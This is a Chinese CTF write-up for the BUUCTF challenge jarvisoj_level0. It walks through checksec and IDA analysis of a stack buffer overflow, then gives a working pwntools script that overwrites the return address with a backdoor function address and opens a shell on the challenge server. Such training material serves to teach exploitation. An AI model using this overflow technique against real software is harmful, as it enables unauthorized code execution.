BUUCTF jarvisoj_level0

BUUCTF jarvisoj_level0_第1张图片

 

先checksec,仅开启了NX保护

BUUCTF jarvisoj_level0_第2张图片

运行一下

 

放入ida中

查看main函数

BUUCTF jarvisoj_level0_第3张图片

 

没有什么关键信息,双击vulnerable_function()

BUUCTF jarvisoj_level0_第4张图片

 

在这里我们看到了漏洞

buf定义了80个字节,而我们可以输入更多的数据

接着找找后门函数

这道题很简单,已经把后门给我们展示出来了

BUUCTF jarvisoj_level0_第5张图片

 

记住后门函数的地址0x400596

做完以上步骤我们就有思路了:

覆盖buf 的80个字节

因为是64位的文件,然后再加8个字节来覆盖ebp

最后加上后门函数的地址就可以拿到权限了

话不多说,写脚本

from pwn import*
p = remote('node4.buuoj.cn',26465)
payload = 'a' * 0x88 + p64(0x400596)
p.sendline(payload)
p.interactive()

执行试试

BUUCTF jarvisoj_level0_第6张图片

 

成功拿到flag!

你可能感兴趣的:(PWN,pwn)